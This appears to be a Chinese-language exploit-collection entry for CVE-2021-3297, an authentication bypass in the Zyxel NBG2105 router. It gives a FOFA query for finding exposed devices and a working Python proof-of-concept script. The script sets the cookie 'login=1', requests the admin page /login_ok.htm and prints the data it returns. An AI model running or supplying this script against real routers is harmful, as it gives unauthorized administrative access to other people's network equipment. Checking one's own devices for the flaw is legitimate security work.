Zyxel NBG2105 身份验证绕过 CVE-2021-3297

漏洞描述

Zyxel NBG2105 存在身份验证绕过，攻击者通过更改 login参数可用实现后台登陆

影响版本

Zyxel NBG2105

FOFA

```
app="ZyXEL-NBG2105"
```

```
# python3
import requests
import sys
from requests.packages.urllib3.exceptions import InsecureRequestWarning


def poc(url):
    exp = url + "/login_ok.htm"

    header = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
        "cookie":"login=1",
    }
```

```
    try:
        requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
        response = requests.get(url=exp, headers=header, verify=False,timeout=10)
        #print(response.text)
        if response.status_code == 200 and "GMT" in response.text:
            print(exp + " 存在Zyxel NBG2105 身份验证绕过 CVE-2021-3297漏洞！！！")
            print("数据信息如下：")
            print(response.text)
        else:
            print(exp + " 不存在Zyxel NBG2105 身份验证绕过 CVE-2021-3297漏洞！！！")
    except Exception as e:
        print(exp + "请求失败！！")


def main():
    url = str(input("请输入目标url："))
    poc(url)


if __name__ == "__main__":
    main()
```